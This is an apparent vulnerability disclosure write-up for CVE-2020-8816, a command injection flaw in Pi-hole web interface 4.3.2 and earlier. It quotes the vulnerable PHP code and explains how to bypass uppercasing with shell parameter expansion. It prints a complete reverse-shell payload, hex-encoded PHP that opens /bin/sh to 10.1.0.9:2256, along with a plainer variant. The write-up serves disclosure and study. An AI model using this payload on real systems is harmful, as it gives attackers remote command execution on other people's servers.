CVE-2020-8816 – Pi-hole Remote Code Execution

Impact

Pi-hole is affected by a Remote Code Execution vulnerability. An authenticated user of the Web portal can execute arbitrary command with the underlying server with the privileges of the local user executing the service.

Exploitation of this vulnerability can be automated.

What is Pi-hole?

Pi-Hole is a DNS server specialized in content-filtering. It also features a DHCP server. According to Pi-hole LLC:

The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software.

Who is affected?

Pi-hole Web interface version 4.3.2 and earlier is affected.

Technical Analysis

In order to configure its built-in DHCP server, Pi-hole features a Web-based user interface. From there, users can define static DHCP leases to pin an IP address to a given MAC address.

When processing user input in the form of MAC addresses, the application does not adequately validate nor validate this input before reusing it in a shell command.

While a legitimate MAC address format should be as follows:

aaaaaaaaaaaa

The MAC address input can be tampered to execute arbitrary code:

aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’&&

Affected configuration panel

The following excerpt contains the code that is responsible for this vulnerability. Code sections outside the code path used for exploitation were stripped and important lines of code were highlighted for the sake of clarity.

<?php
/* Pi-hole: A black hole for Internet advertisements
*  (c) 2017 Pi-hole, LLC (https://pi-hole.net)
*  Network-wide ad blocking via your own hardware.
*
*  This file is copyright under the latest version of the EUPL.
*  Please see LICENSE file for your rights under this license. */

if(basename($_SERVER['SCRIPT_FILENAME']) !== "settings.php")
{
    die("Direct access to this script is forbidden!");
}

//[...]

function validMAC($mac_addr)
{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
}


//[...]

    // Read available adlists
    $adlist = readAdlists();
    // Read available DNS server list
    $DNSserverslist = readDNSserversList();

    $error = "";
    $success = "";

    if(isset($_POST["field"]))
    {
        // Handle CSRF
        check_csrf(isset($_POST["token"]) ? $_POST["token"] : "");

        // Process request
        switch ($_POST["field"]) {
            
//[...]
        
            case "DHCP":

                if(isset($_POST["addstatic"]))
                {
                    $mac = $_POST["AddMAC"];
                    $ip = $_POST["AddIP"];
                    $hostname = $_POST["AddHostname"];

                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);

                    if(!validIP($ip) && strlen($ip) > 0)
                    {
                        $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
                    }

                    if(!validDomain($hostname) && strlen($hostname) > 0)
                    {
                        $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
                    }

                    if(strlen($hostname) == 0 && strlen($ip) == 0)
                    {
                        $error .= "You can not omit both the IP address and the host name!<br>";
                    }

                    if(strlen($hostname) == 0)
                        $hostname = "nohost";

                    if(strlen($ip) == 0)
                        $ip = "noip";

                    // Test if this lease is already included
                    readStaticLeasesFile();
                    foreach($dhcp_static_leases as $lease) {
                        if($lease["hwaddr"] === $mac)
                        {
                            $error .= "Static release for MAC address (".htmlspecialchars($mac).") already defined!<br>";
                            break;
                        }
                        if($ip !== "noip" && $lease["IP"] === $ip)
                        {
                            $error .= "Static lease for IP address (".htmlspecialchars($ip).") already defined!<br>";
                            break;
                        }
                        if($lease["host"] === $hostname)
                        {
                            $error .= "Static lease for hostname (".htmlspecialchars($hostname).") already defined!<br>";
                            break;
                        }
                    }

                    if(!strlen($error))
                    {
                        exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
                        $success .= "A new static address has been added";
                    }
                    break;
                }

                if(isset($_POST["removestatic"]))
                {
                    $mac = $_POST["removestatic"];
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);

                    if(!strlen($error))
                    {
                        exec("sudo pihole -a removestaticdhcp ".$mac);
                        $success .= "The static address with MAC address ".htmlspecialchars($mac)." has been removed";
                    }
                    break;
                }

                

//[...]

            default:
                // Option not found
                $debug = true;
                break;
        }
    }

//[...]


Pi-hole’s Dashboard – savesettings.php – Original Code : Source

Exploitation

The biggest difficulty in exploiting this vulnerability is that the user input is capitalized through a call to “strtoupper”. Because of this, no lower case character can be used in the resulting injection.

Typically, the injection would look like this:

aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“10.1.0.9”,2256);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Here, our injection would be capitalized to “PHP -R”. As Linux commands are case sensitive, this would fail, yielding a “sh: 1: PHP: not found” error.

One way to overcome this difficulty is to make use of environment variables and of nightmare-inducing POSIX Shell Parameter Expansions. Note that the “sh” shell is used here.

Inducing a PATH environment variable leak

It is possible to fetch the “PATH” environment variables on the server by postpending “$PATH” to a MAC address on a new static DHCP lease.

PATH Environment Variable Leakage

Luckily for us, the PATH contains the strings “pihole” and “usr” which in turn contains the “p”, “h” and “r” lower-case characters. Those are the only letters we need to write “php -r”.

/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

For this PATH environment variable, it is possible to define the $P, $H and $R shell parameters that contain their matching lower-case character with the following POSIX Shell Parameter Expansions:

W=${PATH#/???/}

P=${W%%?????:}

X=${PATH#/???/??}

H=${X%%???:}

Z=${PATH#:/??}

R=${Z%%/}

With these shell parameters introduced, our injection can be rewritten as:

$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’

Note that, here, neither PHP functions nor hexadecimal are case sensitive. $IFS corresponds to the default shell delimiter character which is a space.

Finally, our complete reverse shell payload is:

aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’&&

Time to execute it!

Injecting a reverse shell payload
Receiving a shell and enumerating sudoers actions

Privilege escalation is left as an exercise to the reader.

Time Line

  • François Renaud-Philippon disclosed the vulnerability to Pi-hole LLC on February 10, 2020.
  • Pi-hole LLC acknowledged receiving the report on February 10, 2020.
  • Pi-hole LLC fixed the vulnerability with the release of Pi-hole Web interface 4.3.3 on February 18, 2020.
  • Pi-hole LLC authorized public disclosure on February 19, 2020.

Pi-hole® and the Pi-hole logo are Registered Trademark of Pi-hole LLC.

Art fromブラックジャックによろしく12. ©佐藤 秀峰

Create your website at WordPress.com
Get started